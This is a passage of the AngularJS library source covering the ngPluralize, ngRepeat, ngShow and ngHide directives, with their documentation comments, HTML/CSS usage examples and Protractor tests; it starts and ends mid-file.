20025 * In the example, `"0: Nobody is viewing."` is an explicit number rule. If you did not
20026 * specify this rule, 0 would be matched to the "other" category and "0 people are viewing"
20027 * would be shown instead of "Nobody is viewing". You can specify an explicit number rule for
20028 * other numbers, for example 12, so that instead of showing "12 people are viewing", you can
20029 * show "a dozen people are viewing".
20030 *
20031 * You can use a set of closed braces (`{}`) as a placeholder for the number that you want substituted
20032 * into pluralized strings. In the previous example, Angular will replace `{}` with
20033 * <span ng-non-bindable>`{{personCount}}`</span>. The closed braces `{}` is a placeholder
20034 * for <span ng-non-bindable>{{numberExpression}}</span>.
20035 *
20036 * # Configuring ngPluralize with offset
20037 * The `offset` attribute allows further customization of pluralized text, which can result in
20038 * a better user experience. For example, instead of the message "4 people are viewing this document",
20039 * you might display "John, Kate and 2 others are viewing this document".
20040 * The offset attribute allows you to offset a number by any desired value.
20041 * Let's take a look at an example:
20042 *
20043 * ```html
20044 * <ng-pluralize count="personCount" offset=2
20045 * when="{'0': 'Nobody is viewing.',
20046 * '1': '{{person1}} is viewing.',
20047 * '2': '{{person1}} and {{person2}} are viewing.',
20048 * 'one': '{{person1}}, {{person2}} and one other person are viewing.',
20049 * 'other': '{{person1}}, {{person2}} and {} other people are viewing.'}">
20050 * </ng-pluralize>
20051 * ```
20052 *
20053 * Notice that we are still using two plural categories(one, other), but we added
20054 * three explicit number rules 0, 1 and 2.
20055 * When one person, perhaps John, views the document, "John is viewing" will be shown.
20056 * When three people view the document, no explicit number rule is found, so
20057 * an offset of 2 is taken off 3, and Angular uses 1 to decide the plural category.
20058 * In this case, plural category 'one' is matched and "John, Mary and one other person are viewing"
20059 * is shown.
20060 *
20061 * Note that when you specify offsets, you must provide explicit number rules for
20062 * numbers from 0 up to and including the offset. If you use an offset of 3, for example,
20063 * you must provide explicit number rules for 0, 1, 2 and 3. You must also provide plural strings for
20064 * plural categories "one" and "other".
20065 *
20066 * @param {string|expression} count The variable to be bound to.
20067 * @param {string} when The mapping between plural category to its corresponding strings.
20068 * @param {number=} offset Offset to deduct from the total number.
20069 *
20070 * @example
20071 <example module="pluralizeExample">
20072 <file name="index.html">
20073 <script>
20074 angular.module('pluralizeExample', [])
20075 .controller('ExampleController', ['$scope', function($scope) {
20076 $scope.person1 = 'Igor';
20077 $scope.person2 = 'Misko';
20078 $scope.personCount = 1;
20079 }]);
20080 </script>
20081 <div ng-controller="ExampleController">
20082 Person 1:<input type="text" ng-model="person1" value="Igor" /><br/>
20083 Person 2:<input type="text" ng-model="person2" value="Misko" /><br/>
20084 Number of People:<input type="text" ng-model="personCount" value="1" /><br/>
20085
20086 <!--- Example with simple pluralization rules for en locale --->
20087 Without Offset:
20088 <ng-pluralize count="personCount"
20089 when="{'0': 'Nobody is viewing.',
20090 'one': '1 person is viewing.',
20091 'other': '{} people are viewing.'}">
20092 </ng-pluralize><br>
20093
20094 <!--- Example with offset --->
20095 With Offset(2):
20096 <ng-pluralize count="personCount" offset=2
20097 when="{'0': 'Nobody is viewing.',
20098 '1': '{{person1}} is viewing.',
20099 '2': '{{person1}} and {{person2}} are viewing.',
20100 'one': '{{person1}}, {{person2}} and one other person are viewing.',
20101 'other': '{{person1}}, {{person2}} and {} other people are viewing.'}">
20102 </ng-pluralize>
20103 </div>
20104 </file>
20105 <file name="protractor.js" type="protractor">
20106 it('should show correct pluralized string', function() {
20107 var withoutOffset = element.all(by.css('ng-pluralize')).get(0);
20108 var withOffset = element.all(by.css('ng-pluralize')).get(1);
20109 var countInput = element(by.model('personCount'));
20110
20111 expect(withoutOffset.getText()).toEqual('1 person is viewing.');
20112 expect(withOffset.getText()).toEqual('Igor is viewing.');
20113
20114 countInput.clear();
20115 countInput.sendKeys('0');
20116
20117 expect(withoutOffset.getText()).toEqual('Nobody is viewing.');
20118 expect(withOffset.getText()).toEqual('Nobody is viewing.');
20119
20120 countInput.clear();
20121 countInput.sendKeys('2');
20122
20123 expect(withoutOffset.getText()).toEqual('2 people are viewing.');
20124 expect(withOffset.getText()).toEqual('Igor and Misko are viewing.');
20125
20126 countInput.clear();
20127 countInput.sendKeys('3');
20128
20129 expect(withoutOffset.getText()).toEqual('3 people are viewing.');
20130 expect(withOffset.getText()).toEqual('Igor, Misko and one other person are viewing.');
20131
20132 countInput.clear();
20133 countInput.sendKeys('4');
20134
20135 expect(withoutOffset.getText()).toEqual('4 people are viewing.');
20136 expect(withOffset.getText()).toEqual('Igor, Misko and 2 other people are viewing.');
20137 });
20138 it('should show data-bound names', function() {
20139 var withOffset = element.all(by.css('ng-pluralize')).get(1);
20140 var personCount = element(by.model('personCount'));
20141 var person1 = element(by.model('person1'));
20142 var person2 = element(by.model('person2'));
20143 personCount.clear();
20144 personCount.sendKeys('4');
20145 person1.clear();
20146 person1.sendKeys('Di');
20147 person2.clear();
20148 person2.sendKeys('Vojta');
20149 expect(withOffset.getText()).toEqual('Di, Vojta and 2 other people are viewing.');
20150 });
20151 </file>
20152 </example>
20153 */
20154 var ngPluralizeDirective = ['$locale', '$interpolate', function($locale, $interpolate) {
20155 var BRACE = /{}/g;
20156 return {
20157 restrict: 'EA',
20158 link: function(scope, element, attr) {
20159 var numberExp = attr.count,
20160 whenExp = attr.$attr.when && element.attr(attr.$attr.when), // we have {{}} in attrs
20161 offset = attr.offset || 0,
20162 whens = scope.$eval(whenExp) || {},
20163 whensExpFns = {},
20164 startSymbol = $interpolate.startSymbol(),
20165 endSymbol = $interpolate.endSymbol(),
20166 isWhen = /^when(Minus)?(.+)$/;
20167
20168 forEach(attr, function(expression, attributeName) {
20169 if (isWhen.test(attributeName)) {
20170 whens[lowercase(attributeName.replace('when', '').replace('Minus', '-'))] =
20171 element.attr(attr.$attr[attributeName]);
20172 }
20173 });
20174 forEach(whens, function(expression, key) {
20175 whensExpFns[key] =
20176 $interpolate(expression.replace(BRACE, startSymbol + numberExp + '-' +
20177 offset + endSymbol));
20178 });
20179
20180 scope.$watch(function ngPluralizeWatch() {
20181 var value = parseFloat(scope.$eval(numberExp));
20182
20183 if (!isNaN(value)) {
20184 //if explicit number rule such as 1, 2, 3... is defined, just use it. Otherwise,
20185 //check it against pluralization rules in $locale service
20186 if (!(value in whens)) value = $locale.pluralCat(value - offset);
20187 return whensExpFns[value](scope, element, true);
20188 } else {
20189 return '';
20190 }
20191 }, function ngPluralizeWatchAction(newVal) {
20192 element.text(newVal);
20193 });
20194 }
20195 };
20196 }];
20197
20198 /**
20199 * @ngdoc directive
20200 * @name ngRepeat
20201 *
20202 * @description
20203 * The `ngRepeat` directive instantiates a template once per item from a collection. Each template
20204 * instance gets its own scope, where the given loop variable is set to the current collection item,
20205 * and `$index` is set to the item index or key.
20206 *
20207 * Special properties are exposed on the local scope of each template instance, including:
20208 *
20209 * | Variable | Type | Details |
20210 * |-----------|-----------------|-----------------------------------------------------------------------------|
20211 * | `$index` | {@type number} | iterator offset of the repeated element (0..length-1) |
20212 * | `$first` | {@type boolean} | true if the repeated element is first in the iterator. |
20213 * | `$middle` | {@type boolean} | true if the repeated element is between the first and last in the iterator. |
20214 * | `$last` | {@type boolean} | true if the repeated element is last in the iterator. |
20215 * | `$even` | {@type boolean} | true if the iterator position `$index` is even (otherwise false). |
20216 * | `$odd` | {@type boolean} | true if the iterator position `$index` is odd (otherwise false). |
20217 *
20218 * Creating aliases for these properties is possible with {@link ng.directive:ngInit `ngInit`}.
20219 * This may be useful when, for instance, nesting ngRepeats.
20220 *
20221 * # Special repeat start and end points
20222 * To repeat a series of elements instead of just one parent element, ngRepeat (as well as other ng directives) supports extending
20223 * the range of the repeater by defining explicit start and end points by using **ng-repeat-start** and **ng-repeat-end** respectively.
20224 * The **ng-repeat-start** directive works the same as **ng-repeat**, but will repeat all the HTML code (including the tag it's defined on)
20225 * up to and including the ending HTML tag where **ng-repeat-end** is placed.
20226 *
20227 * The example below makes use of this feature:
20228 * ```html
20229 * <header ng-repeat-start="item in items">
20230 * Header {{ item }}
20231 * </header>
20232 * <div class="body">
20233 * Body {{ item }}
20234 * </div>
20235 * <footer ng-repeat-end>
20236 * Footer {{ item }}
20237 * </footer>
20238 * ```
20239 *
20240 * And with an input of {@type ['A','B']} for the items variable in the example above, the output will evaluate to:
20241 * ```html
20242 * <header>
20243 * Header A
20244 * </header>
20245 * <div class="body">
20246 * Body A
20247 * </div>
20248 * <footer>
20249 * Footer A
20250 * </footer>
20251 * <header>
20252 * Header B
20253 * </header>
20254 * <div class="body">
20255 * Body B
20256 * </div>
20257 * <footer>
20258 * Footer B
20259 * </footer>
20260 * ```
20261 *
20262 * The custom start and end points for ngRepeat also support all other HTML directive syntax flavors provided in AngularJS (such
20263 * as **data-ng-repeat-start**, **x-ng-repeat-start** and **ng:repeat-start**).
20264 *
20265 * @animations
20266 * **.enter** - when a new item is added to the list or when an item is revealed after a filter
20267 *
20268 * **.leave** - when an item is removed from the list or when an item is filtered out
20269 *
20270 * **.move** - when an adjacent item is filtered out causing a reorder or when the item contents are reordered
20271 *
20272 * @element ANY
20273 * @scope
20274 * @priority 1000
20275 * @param {repeat_expression} ngRepeat The expression indicating how to enumerate a collection. These
20276 * formats are currently supported:
20277 *
20278 * * `variable in expression` – where variable is the user defined loop variable and `expression`
20279 * is a scope expression giving the collection to enumerate.
20280 *
20281 * For example: `album in artist.albums`.
20282 *
20283 * * `(key, value) in expression` – where `key` and `value` can be any user defined identifiers,
20284 * and `expression` is the scope expression giving the collection to enumerate.
20285 *
20286 * For example: `(name, age) in {'adam':10, 'amalie':12}`.
20287 *
20288 * * `variable in expression track by tracking_expression` – You can also provide an optional tracking function
20289 * which can be used to associate the objects in the collection with the DOM elements. If no tracking function
20290 * is specified the ng-repeat associates elements by identity in the collection. It is an error to have
20291 * more than one tracking function to resolve to the same key. (This would mean that two distinct objects are
20292 * mapped to the same DOM element, which is not possible.) Filters should be applied to the expression,
20293 * before specifying a tracking expression.
20294 *
20295 * For example: `item in items` is equivalent to `item in items track by $id(item)`. This implies that the DOM elements
20296 * will be associated by item identity in the array.
20297 *
20298 * For example: `item in items track by $id(item)`. A built in `$id()` function can be used to assign a unique
20299 * `$$hashKey` property to each item in the array. This property is then used as a key to associated DOM elements
20300 * with the corresponding item in the array by identity. Moving the same object in array would move the DOM
20301 * element in the same way in the DOM.
20302 *
20303 * For example: `item in items track by item.id` is a typical pattern when the items come from the database. In this
20304 * case the object identity does not matter. Two objects are considered equivalent as long as their `id`
20305 * property is same.
20306 *
20307 * For example: `item in items | filter:searchText track by item.id` is a pattern that might be used to apply a filter
20308 * to items in conjunction with a tracking expression.
20309 *
20310 * @example
20311 * This example initializes the scope to a list of names and
20312 * then uses `ngRepeat` to display every person:
20313 <example module="ngAnimate" deps="angular-animate.js" animations="true">
20314 <file name="index.html">
20315 <div ng-init="friends = [
20316 {name:'John', age:25, gender:'boy'},
20317 {name:'Jessie', age:30, gender:'girl'},
20318 {name:'Johanna', age:28, gender:'girl'},
20319 {name:'Joy', age:15, gender:'girl'},
20320 {name:'Mary', age:28, gender:'girl'},
20321 {name:'Peter', age:95, gender:'boy'},
20322 {name:'Sebastian', age:50, gender:'boy'},
20323 {name:'Erika', age:27, gender:'girl'},
20324 {name:'Patrick', age:40, gender:'boy'},
20325 {name:'Samantha', age:60, gender:'girl'}
20326 ]">
20327 I have {{friends.length}} friends. They are:
20328 <input type="search" ng-model="q" placeholder="filter friends..." />
20329 <ul class="example-animate-container">
20330 <li class="animate-repeat" ng-repeat="friend in friends | filter:q">
20331 [{{$index + 1}}] {{friend.name}} who is {{friend.age}} years old.
20332 </li>
20333 </ul>
20334 </div>
20335 </file>
20336 <file name="animations.css">
20337 .example-animate-container {
20338 background:white;
20339 border:1px solid black;
20340 list-style:none;
20341 margin:0;
20342 padding:0 10px;
20343 }
20344
20345 .animate-repeat {
20346 line-height:40px;
20347 list-style:none;
20348 box-sizing:border-box;
20349 }
20350
20351 .animate-repeat.ng-move,
20352 .animate-repeat.ng-enter,
20353 .animate-repeat.ng-leave {
20354 -webkit-transition:all linear 0.5s;
20355 transition:all linear 0.5s;
20356 }
20357
20358 .animate-repeat.ng-leave.ng-leave-active,
20359 .animate-repeat.ng-move,
20360 .animate-repeat.ng-enter {
20361 opacity:0;
20362 max-height:0;
20363 }
20364
20365 .animate-repeat.ng-leave,
20366 .animate-repeat.ng-move.ng-move-active,
20367 .animate-repeat.ng-enter.ng-enter-active {
20368 opacity:1;
20369 max-height:40px;
20370 }
20371 </file>
20372 <file name="protractor.js" type="protractor">
20373 var friends = element.all(by.repeater('friend in friends'));
20374
20375 it('should render initial data set', function() {
20376 expect(friends.count()).toBe(10);
20377 expect(friends.get(0).getText()).toEqual('[1] John who is 25 years old.');
20378 expect(friends.get(1).getText()).toEqual('[2] Jessie who is 30 years old.');
20379 expect(friends.last().getText()).toEqual('[10] Samantha who is 60 years old.');
20380 expect(element(by.binding('friends.length')).getText())
20381 .toMatch("I have 10 friends. They are:");
20382 });
20383
20384 it('should update repeater when filter predicate changes', function() {
20385 expect(friends.count()).toBe(10);
20386
20387 element(by.model('q')).sendKeys('ma');
20388
20389 expect(friends.count()).toBe(2);
20390 expect(friends.get(0).getText()).toEqual('[1] Mary who is 28 years old.');
20391 expect(friends.last().getText()).toEqual('[2] Samantha who is 60 years old.');
20392 });
20393 </file>
20394 </example>
20395 */
20396 var ngRepeatDirective = ['$parse', '$animate', function($parse, $animate) {
20397 var NG_REMOVED = '$$NG_REMOVED';
20398 var ngRepeatMinErr = minErr('ngRepeat');
20399 return {
20400 transclude: 'element',
20401 priority: 1000,
20402 terminal: true,
20403 $$tlb: true,
20404 link: function($scope, $element, $attr, ctrl, $transclude){
20405 var expression = $attr.ngRepeat;
20406 var match = expression.match(/^\s*([\s\S]+?)\s+in\s+([\s\S]+?)(?:\s+track\s+by\s+([\s\S]+?))?\s*$/),
20407 trackByExp, trackByExpGetter, trackByIdExpFn, trackByIdArrayFn, trackByIdObjFn,
20408 lhs, rhs, valueIdentifier, keyIdentifier,
20409 hashFnLocals = {$id: hashKey};
20410
20411 if (!match) {
20412 throw ngRepeatMinErr('iexp', "Expected expression in form of '_item_ in _collection_[ track by _id_]' but got '{0}'.",
20413 expression);
20414 }
20415
20416 lhs = match[1];
20417 rhs = match[2];
20418 trackByExp = match[3];
20419
20420 if (trackByExp) {
20421 trackByExpGetter = $parse(trackByExp);
20422 trackByIdExpFn = function(key, value, index) {
20423 // assign key, value, and $index to the locals so that they can be used in hash functions
20424 if (keyIdentifier) hashFnLocals[keyIdentifier] = key;
20425 hashFnLocals[valueIdentifier] = value;
20426 hashFnLocals.$index = index;
20427 return trackByExpGetter($scope, hashFnLocals);
20428 };
20429 } else {
20430 trackByIdArrayFn = function(key, value) {
20431 return hashKey(value);
20432 };
20433 trackByIdObjFn = function(key) {
20434 return key;
20435 };
20436 }
20437
20438 match = lhs.match(/^(?:([\$\w]+)|\(([\$\w]+)\s*,\s*([\$\w]+)\))$/);
20439 if (!match) {
20440 throw ngRepeatMinErr('iidexp', "'_item_' in '_item_ in _collection_' should be an identifier or '(_key_, _value_)' expression, but got '{0}'.",
20441 lhs);
20442 }
20443 valueIdentifier = match[3] || match[1];
20444 keyIdentifier = match[2];
20445
20446 // Store a list of elements from previous run. This is a hash where key is the item from the
20447 // iterator, and the value is objects with following properties.
20448 // - scope: bound scope
20449 // - element: previous element.
20450 // - index: position
20451 var lastBlockMap = {};
20452
20453 //watch props
20454 $scope.$watchCollection(rhs, function ngRepeatAction(collection){
20455 var index, length,
20456 previousNode = $element[0], // current position of the node
20457 nextNode,
20458 // Same as lastBlockMap but it has the current state. It will become the
20459 // lastBlockMap on the next iteration.
20460 nextBlockMap = {},
20461 arrayLength,
20462 childScope,
20463 key, value, // key/value of iteration
20464 trackById,
20465 trackByIdFn,
20466 collectionKeys,
20467 block, // last object information {scope, element, id}
20468 nextBlockOrder = [],
20469 elementsToRemove;
20470
20471
20472 if (isArrayLike(collection)) {
20473 collectionKeys = collection;
20474 trackByIdFn = trackByIdExpFn || trackByIdArrayFn;
20475 } else {
20476 trackByIdFn = trackByIdExpFn || trackByIdObjFn;
20477 // if object, extract keys, sort them and use to determine order of iteration over obj props
20478 collectionKeys = [];
20479 for (key in collection) {
20480 if (collection.hasOwnProperty(key) && key.charAt(0) != '$') {
20481 collectionKeys.push(key);
20482 }
20483 }
20484 collectionKeys.sort();
20485 }
20486
20487 arrayLength = collectionKeys.length;
20488
20489 // locate existing items
20490 length = nextBlockOrder.length = collectionKeys.length;
20491 for(index = 0; index < length; index++) {
20492 key = (collection === collectionKeys) ? index : collectionKeys[index];
20493 value = collection[key];
20494 trackById = trackByIdFn(key, value, index);
20495 assertNotHasOwnProperty(trackById, '`track by` id');
20496 if(lastBlockMap.hasOwnProperty(trackById)) {
20497 block = lastBlockMap[trackById];
20498 delete lastBlockMap[trackById];
20499 nextBlockMap[trackById] = block;
20500 nextBlockOrder[index] = block;
20501 } else if (nextBlockMap.hasOwnProperty(trackById)) {
20502 // restore lastBlockMap
20503 forEach(nextBlockOrder, function(block) {
20504 if (block && block.scope) lastBlockMap[block.id] = block;
20505 });
20506 // This is a duplicate and we need to throw an error
20507 throw ngRepeatMinErr('dupes', "Duplicates in a repeater are not allowed. Use 'track by' expression to specify unique keys. Repeater: {0}, Duplicate key: {1}",
20508 expression, trackById);
20509 } else {
20510 // new never before seen block
20511 nextBlockOrder[index] = { id: trackById };
20512 nextBlockMap[trackById] = false;
20513 }
20514 }
20515
20516 // remove existing items
20517 for (key in lastBlockMap) {
20518 // lastBlockMap is our own object so we don't need to use special hasOwnPropertyFn
20519 if (lastBlockMap.hasOwnProperty(key)) {
20520 block = lastBlockMap[key];
20521 elementsToRemove = getBlockElements(block.clone);
20522 $animate.leave(elementsToRemove);
20523 forEach(elementsToRemove, function(element) { element[NG_REMOVED] = true; });
20524 block.scope.$destroy();
20525 }
20526 }
20527
20528 // we are not using forEach for perf reasons (trying to avoid #call)
20529 for (index = 0, length = collectionKeys.length; index < length; index++) {
20530 key = (collection === collectionKeys) ? index : collectionKeys[index];
20531 value = collection[key];
20532 block = nextBlockOrder[index];
20533 if (nextBlockOrder[index - 1]) previousNode = getBlockEnd(nextBlockOrder[index - 1]);
20534
20535 if (block.scope) {
20536 // if we have already seen this object, then we need to reuse the
20537 // associated scope/element
20538 childScope = block.scope;
20539
20540 nextNode = previousNode;
20541 do {
20542 nextNode = nextNode.nextSibling;
20543 } while(nextNode && nextNode[NG_REMOVED]);
20544
20545 if (getBlockStart(block) != nextNode) {
20546 // existing item which got moved
20547 $animate.move(getBlockElements(block.clone), null, jqLite(previousNode));
20548 }
20549 previousNode = getBlockEnd(block);
20550 } else {
20551 // new item which we don't know about
20552 childScope = $scope.$new();
20553 }
20554
20555 childScope[valueIdentifier] = value;
20556 if (keyIdentifier) childScope[keyIdentifier] = key;
20557 childScope.$index = index;
20558 childScope.$first = (index === 0);
20559 childScope.$last = (index === (arrayLength - 1));
20560 childScope.$middle = !(childScope.$first || childScope.$last);
20561 // jshint bitwise: false
20562 childScope.$odd = !(childScope.$even = (index&1) === 0);
20563 // jshint bitwise: true
20564
20565 if (!block.scope) {
20566 $transclude(childScope, function(clone) {
20567 clone[clone.length++] = document.createComment(' end ngRepeat: ' + expression + ' ');
20568 $animate.enter(clone, null, jqLite(previousNode));
20569 previousNode = clone;
20570 block.scope = childScope;
20571 // Note: We only need the first/last node of the cloned nodes.
20572 // However, we need to keep the reference to the jqlite wrapper as it might be changed later
20573 // by a directive with templateUrl when its template arrives.
20574 block.clone = clone;
20575 nextBlockMap[block.id] = block;
20576 });
20577 }
20578 }
20579 lastBlockMap = nextBlockMap;
20580 });
20581 }
20582 };
20583
20584 function getBlockStart(block) {
20585 return block.clone[0];
20586 }
20587
20588 function getBlockEnd(block) {
20589 return block.clone[block.clone.length - 1];
20590 }
20591 }];
20592
20593 /**
20594 * @ngdoc directive
20595 * @name ngShow
20596 *
20597 * @description
20598 * The `ngShow` directive shows or hides the given HTML element based on the expression
20599 * provided to the ngShow attribute. The element is shown or hidden by removing or adding
20600 * the `ng-hide` CSS class onto the element. The `.ng-hide` CSS class is predefined
20601 * in AngularJS and sets the display style to none (using an !important flag).
20602 * For CSP mode please add `angular-csp.css` to your html file (see {@link ng.directive:ngCsp ngCsp}).
20603 *
20604 * ```html
20605 * <!-- when $scope.myValue is truthy (element is visible) -->
20606 * <div ng-show="myValue"></div>
20607 *
20608 * <!-- when $scope.myValue is falsy (element is hidden) -->
20609 * <div ng-show="myValue" class="ng-hide"></div>
20610 * ```
20611 *
20612 * When the ngShow expression evaluates to false then the ng-hide CSS class is added to the class attribute
20613 * on the element causing it to become hidden. When true, the ng-hide CSS class is removed
20614 * from the element causing the element not to appear hidden.
20615 *
20616 * <div class="alert alert-warning">
20617 * **Note:** Here is a list of values that ngShow will consider as a falsy value (case insensitive):<br />
20618 * "f" / "0" / "false" / "no" / "n" / "[]"
20619 * </div>
20620 *
20621 * ## Why is !important used?
20622 *
20623 * You may be wondering why !important is used for the .ng-hide CSS class. This is because the `.ng-hide` selector
20624 * can be easily overridden by heavier selectors. For example, something as simple
20625 * as changing the display style on a HTML list item would make hidden elements appear visible.
20626 * This also becomes a bigger issue when dealing with CSS frameworks.
20627 *
20628 * By using !important, the show and hide behavior will work as expected despite any clash between CSS selector
20629 * specificity (when !important isn't used with any conflicting styles). If a developer chooses to override the
20630 * styling to change how to hide an element then it is just a matter of using !important in their own CSS code.
20631 *
20632 * ### Overriding .ng-hide
20633 *
20634 * By default, the `.ng-hide` class will style the element with `display:none!important`. If you wish to change
20635 * the hide behavior with ngShow/ngHide then this can be achieved by restating the styles for the `.ng-hide`
20636 * class in CSS:
20637 *
20638 * ```css
20639 * .ng-hide {
20640 * //this is just another form of hiding an element
20641 * display:block!important;
20642 * position:absolute;
20643 * top:-9999px;
20644 * left:-9999px;
20645 * }
20646 * ```
20647 *
20648 * By default you don't need to override in CSS anything and the animations will work around the display style.
20649 *
20650 * ## A note about animations with ngShow
20651 *
20652 * Animations in ngShow/ngHide work with the show and hide events that are triggered when the directive expression
20653 * is true and false. This system works like the animation system present with ngClass except that
20654 * you must also include the !important flag to override the display property
20655 * so that you can perform an animation when the element is hidden during the time of the animation.
20656 *
20657 * ```css
20658 * //
20659 * //a working example can be found at the bottom of this page
20660 * //
20661 * .my-element.ng-hide-add, .my-element.ng-hide-remove {
20662 * transition:0.5s linear all;
20663 * }
20664 *
20665 * .my-element.ng-hide-add { ... }
20666 * .my-element.ng-hide-add.ng-hide-add-active { ... }
20667 * .my-element.ng-hide-remove { ... }
20668 * .my-element.ng-hide-remove.ng-hide-remove-active { ... }
20669 * ```
20670 *
20671 * Keep in mind that, as of AngularJS version 1.2.17 (and 1.3.0-beta.11), there is no need to change the display
20672 * property to block during animation states--ngAnimate will handle the style toggling automatically for you.
20673 *
20674 * @animations
20675 * addClass: .ng-hide - happens after the ngShow expression evaluates to a truthy value and the just before contents are set to visible
20676 * removeClass: .ng-hide - happens after the ngShow expression evaluates to a non truthy value and just before the contents are set to hidden
20677 *
20678 * @element ANY
20679 * @param {expression} ngShow If the {@link guide/expression expression} is truthy
20680 * then the element is shown or hidden respectively.
20681 *
20682 * @example
20683 <example module="ngAnimate" deps="angular-animate.js" animations="true">
20684 <file name="index.html">
20685 Click me: <input type="checkbox" ng-model="checked"><br/>
20686 <div>
20687 Show:
20688 <div class="check-element animate-show" ng-show="checked">
20689 <span class="glyphicon glyphicon-thumbs-up"></span> I show up when your checkbox is checked.
20690 </div>
20691 </div>
20692 <div>
20693 Hide:
20694 <div class="check-element animate-show" ng-hide="checked">
20695 <span class="glyphicon glyphicon-thumbs-down"></span> I hide when your checkbox is checked.
20696 </div>
20697 </div>
20698 </file>
20699 <file name="glyphicons.css">
20700 @import url(//netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap-glyphicons.css);
20701 </file>
20702 <file name="animations.css">
20703 .animate-show {
20704 -webkit-transition:all linear 0.5s;
20705 transition:all linear 0.5s;
20706 line-height:20px;
20707 opacity:1;
20708 padding:10px;
20709 border:1px solid black;
20710 background:white;
20711 }
20712
20713 .animate-show.ng-hide {
20714 line-height:0;
20715 opacity:0;
20716 padding:0 10px;
20717 }
20718
20719 .check-element {
20720 padding:10px;
20721 border:1px solid black;
20722 background:white;
20723 }
20724 </file>
20725 <file name="protractor.js" type="protractor">
20726 var thumbsUp = element(by.css('span.glyphicon-thumbs-up'));
20727 var thumbsDown = element(by.css('span.glyphicon-thumbs-down'));
20728
20729 it('should check ng-show / ng-hide', function() {
20730 expect(thumbsUp.isDisplayed()).toBeFalsy();
20731 expect(thumbsDown.isDisplayed()).toBeTruthy();
20732
20733 element(by.model('checked')).click();
20734
20735 expect(thumbsUp.isDisplayed()).toBeTruthy();
20736 expect(thumbsDown.isDisplayed()).toBeFalsy();
20737 });
20738 </file>
20739 </example>
20740 */
20741 var ngShowDirective = ['$animate', function($animate) {
20742 return function(scope, element, attr) {
20743 scope.$watch(attr.ngShow, function ngShowWatchAction(value){
20744 $animate[toBoolean(value) ? 'removeClass' : 'addClass'](element, 'ng-hide');
20745 });
20746 };
20747 }];
20748
20749
20750 /**
20751 * @ngdoc directive
20752 * @name ngHide
20753 *
20754 * @description
20755 * The `ngHide` directive shows or hides the given HTML element based on the expression
20756 * provided to the ngHide attribute. The element is shown or hidden by removing or adding
20757 * the `ng-hide` CSS class onto the element. The `.ng-hide` CSS class is predefined
20758 * in AngularJS and sets the display style to none (using an !important flag).
20759 * For CSP mode please add `angular-csp.css` to your html file (see {@link ng.directive:ngCsp ngCsp}).
20760 *
20761 * ```html
20762 * <!-- when $scope.myValue is truthy (element is hidden) -->
20763 * <div ng-hide="myValue" class="ng-hide"></div>
20764 *
20765 * <!-- when $scope.myValue is falsy (element is visible) -->
20766 * <div ng-hide="myValue"></div>
20767 * ```
20768 *
20769 * When the ngHide expression evaluates to true then the .ng-hide CSS class is added to the class attribute
20770 * on the element causing it to become hidden. When false, the ng-hide CSS class is removed
20771 * from the element causing the element not to appear hidden.
20772 *
20773 * <div class="alert alert-warning">
20774 * **Note:** Here is a list of values that ngHide will consider as a falsy value (case insensitive):<br />
20775 * "f" / "0" / "false" / "no" / "n" / "[]"
20776 * </div>
20777 *
20778 * ## Why is !important used?
20779 *
20780 * You may be wondering why !important is used for the .ng-hide CSS class. This is because the `.ng-hide` selector
20781 * can be easily overridden by heavier selectors. For example, something as simple
20782 * as changing the display style on a HTML list item would make hidden elements appear visible.
20783 * This also becomes a bigger issue when dealing with CSS frameworks.
20784 *
20785 * By using !important, the show and hide behavior will work as expected despite any clash between CSS selector
20786 * specificity (when !important isn't used with any conflicting styles). If a developer chooses to override the
20787 * styling to change how to hide an element then it is just a matter of using !important in their own CSS code.
20788 *
20789 * ### Overriding .ng-hide
20790 *
20791 * By default, the `.ng-hide` class will style the element with `display:none!important`. If you wish to change
20792 * the hide behavior with ngShow/ngHide then this can be achieved by restating the styles for the `.ng-hide`
20793 * class in CSS:
20794 *
20795 * ```css
20796 * .ng-hide {
20797 * //this is just another form of hiding an element
20798 * display:block!important;
20799 * position:absolute;
20800 * top:-9999px;
20801 * left:-9999px;
20802 * }
20803 * ```
20804 *
20805 * By default you don't need to override in CSS anything and the animations will work around the display style.
20806 *
20807 * ## A note about animations with ngHide
20808 *
20809 * Animations in ngShow/ngHide work with the show and hide events that are triggered when the directive expression
20810 * is true and false. This system works like the animation system present with ngClass, except that the `.ng-hide`
20811 * CSS class is added and removed for you instead of your own CSS class.
20812 *
20813 * ```css
20814 * //
20815 * //a working example can be found at the bottom of this page
20816 * //
20817 * .my-element.ng-hide-add, .my-element.ng-hide-remove {
20818 * transition:0.5s linear all;
20819 * }
20820 *
20821 * .my-element.ng-hide-add { ... }
20822 * .my-element.ng-hide-add.ng-hide-add-active { ... }
20823 * .my-element.ng-hide-remove { ... }
20824 * .my-element.ng-hide-remove.ng-hide-remove-active { ... }
20825 * ```
20826 *
20827 * Keep in mind that, as of AngularJS version 1.2.17 (and 1.3.0-beta.11), there is no need to change the display
20828 * property to block during animation states--ngAnimate will handle the style toggling automatically for you.
20829 *
20830 * @animations
20831 * removeClass: .ng-hide - happens after the ngHide expression evaluates to a truthy value and just before the contents are set to hidden
20832 * addClass: .ng-hide - happens after the ngHide expression evaluates to a non truthy value and just before the contents are set to visible
20833 *
20834 * @element ANY
20835 * @param {expression} ngHide If the {@link guide/expression expression} is truthy then
20836 * the element is shown or hidden respectively.
20837 *
20838 * @example
20839 <example module="ngAnimate" deps="angular-animate.js" animations="true">
20840 <file name="index.html">
20841 Click me: <input type="checkbox" ng-model="checked"><br/>
20842 <div>
20843 Show:
20844 <div class="check-element animate-hide" ng-show="checked">
20845 <span class="glyphicon glyphicon-thumbs-up"></span> I show up when your checkbox is checked.
20846 </div>
20847 </div>
20848 <div>
20849 Hide:
20850 <div class="check-element animate-hide" ng-hide="checked">
20851 <span class="glyphicon glyphicon-thumbs-down"></span> I hide when your checkbox is checked.
20852 </div>
20853 </div>
20854 </file>
20855 <file name="glyphicons.css">
20856 @import url(//netdna.bootstrapcdn.com/bootstrap/3.0.0/css/bootstrap-glyphicons.css);
20857 </file>
20858 <file name="animations.css">
20859 .animate-hide {
20860 -webkit-transition:all linear 0.5s;
20861 transition:all linear 0.5s;
20862 line-height:20px;
20863 opacity:1;
20864 padding:10px;
20865 border:1px solid black;
20866 background:white;
20867 }
20868
20869 .animate-hide.ng-hide {
20870 line-height:0;
20871 opacity:0;
20872 padding:0 10px;
20873 }
20874
20875 .check-element {
20876 padding:10px;
20877 border:1px solid black;
20878 background:white;
20879 }
20880 </file>
20881 <file name="protractor.js" type="protractor">
20882 var thumbsUp = element(by.css('span.glyphicon-thumbs-up'));
